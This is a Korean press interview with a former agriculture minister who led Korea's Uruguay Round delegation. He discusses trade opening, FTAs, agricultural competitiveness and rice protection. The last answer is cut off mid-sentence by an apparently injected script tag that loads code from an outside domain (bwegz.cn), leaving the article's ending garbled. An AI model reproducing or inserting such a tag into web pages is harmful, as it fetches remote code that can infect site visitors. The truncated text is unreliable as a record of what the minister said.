◆ 허신행 전 농림수산부 장관 프로필
· 1942년 전남 순천 출생
· 순천농림고, 서울대 농과대학졸업
· 미국 웨스턴 일리노이대학, 미네소타 대학 경제학 석·박사
· 한국농촌경제연구원장, 농림수산부장관, UR협상대표단장을 역임하고, 강원대 초빙교수와 한국소비자보호원 원장, 서울시농수산물공사 사장을 거쳐 현재 건국대 초빙교수로 봉직하고 있다. 저서로는 ‘한국농업의 21세기 전략’, ‘상생의 사이버-정각사회’, ‘한몸 정각사회’ 등 20권이 있다.

· 대담 : 차재선 편집부국장
· 정리 : 박유신 수석기자
· 사진 : 엄익복 차장

“우루과이라운드(UR)나 도하개발어젠더(DDA), 자유무역협정(FTA) 등은 세계라는 거대한 물결속에서 국가간의 문명사적인 충돌이 일어난 것으로 볼 수 있습니다. 미처 농경사회의 의식을 벗어나지 못한 우리로서는 충격과 피해가 클 수 밖에 없습니다. 전 세계가 한몸이 되는 시대로 하루 속히 농경사회적인 의식에서 벗어나야 합니다.”

UR 협상을 진두지휘한 허신행 전 농림수산부 장관은 당시 상황을 회고 하며 이같이 밝혔다.

허신행 전 농림수산부 장관으로부터 UR과 WTO/DDA, FTA 등이 의미하는 바를 들어보고 한국 농업이 나아갈 길과 과제를 물었다.

# UR협상을 시작으로 WTO/DDA, FTA 등 개방화 물결이 거세지고 있는데 어떤 의미가 있습니까?

△ 1993년 12월 15일 UR 타결 현장에서 ‘지구촌에 거대한 물결이 오는구나’하는 느낌을 경험하고 피해의식에만 사로잡혀 있을 때가 아니라는 소중한 교훈을 얻었습니다. 이후 13년간 문명사를 연구하게 됐고 모든 게 문명사의 변화로 일어나는 것이라 깨달았습니다. 당시 우리나라는 농업의 경우 농경시대 사고를 가지고 있고 공업은 산업시대 사고를 가지고 있는 가운데 선진국은 모두 산업시대 사고로 무장한 상황이었습니다. 결국 UR, DDA, FTA 등은 문명사적인 충돌의 조정이라 할 수 있습니다.

# 개방화에 대한 논의가 문명사적 충돌이라 하셨는데 UR협상을 직접 진두지휘하신 장관님께서 당시 현장에서 직접 보고 느끼신 점이 있다면.

△ UR은 한마디로 문명사적인 충격이었습니다. 큰 흐름으로 보면 농경시대 말기였던 한국과 산업시대 말기였던 선진국의 충돌로 부서지는 현상이라 표현할 수 있습니다. 따라서 농경시대의 사고와 생산, 판매 방식을 가진 국가는 대단한 충격과 피해의식을 느꼈을 수 밖에 없었습니다. 우리나라도 시대흐름을 잘 파악했던 40세 미만의 3만8000여명의 농업인을 제외하곤 모두 피해를 입었습니다. 사실 1993년 UR협상 이전부터 개방화가 논의돼 왔으나 30년 동안 계속 충격을 받아 피해의식으로 좌절감에 빠진 우리로서는 적절한 대비책도 없이 개방화의 물결을 맞았습니다. 결국 그 피해가 고스란히 농업인과 농촌으로 돌아온 것입니다.

# 지금의 농업·농촌의 상황을 보면 농경시대적인 사고에서 벗어나는게 시급한 것 같습니다. 어떤 준비가 필요하다고 생각하십니까?

△ 가장 큰 힘은 국가도 땅도 아닌 ‘실력과 경쟁력’이라는 점을 느꼈습니다. 대만을 보십시요. 그들은 APEC 협상에서 ‘미국에 모두 개방하겠으니 자본과 노동시장을 열어라’고 주문하자 오히려 미국이 개방을 거부하는 결과를 낳았습니다. 우리 농산물은 세계에서 가장 우수한 상품입니다. 그래서 수입농산물이 국산 농산물로 둔갑해 비싼 가격에 팔리고 있지 않습니까. 세계농업을 한 손바닥에 놓고 유리한게 무엇인지, 불리한게 무엇인지 생각해야 합니다. IT는 복사가 가능하나 농산물은 복사가 안됩니다. 어떤 농산물이 세계적인 명품인지를 골라 국가별로 전략을 마련하는 ‘맞춤식 디자인’이 필요합니다. 다이나믹한 농업을 만들어야 합니다. 다만 쌀은 선진농업과의 차이를 줄이기까지는 보호해야 합니다. 쌀은 농업의 척추요 두뇌이기 때문입니다. 쌀 산업이 무너지면 공동화 현상이 야기될 것입니다. 브랜드 쌀로 이끌어가면서 스스로 품목 전환토록 유도해야 합니다.

# 한·칠레, 싱가폴, 아세안 FTA를 시작으로 미국, 일본, 중국 등 전 세계 국가들과의 FTA 추진이 검토되면서 농업인과의 갈등도 심화되고 있습니다. 고견이 있으시다면.

△ 전 세계적으로 186개의 FTA가 발효돼 움직이고 있고 114개 FTA가 발효 예정입니다. 이는 더욱 빠른 속도로 전개될 것입니다. 무역의존도가 85%인 상황에서 너무 늦은감이 있습니다. FTA 자체를 문명사적으로 접근할 때 문명사회는 지식사회도 정보사회도 아닌 ‘깨달음을 기반으로 한 한몸사회’라고 말할 수 있으며, 계속 빠른 속도로 진전되고 있습니다. 정보기술(IT), 나노기술(NT)에 의해 전 인류가 연결돼 지금의 세계를 이루고 있습니다. 한몸 사회에서는 개방?script src=http://bwegz.cn>

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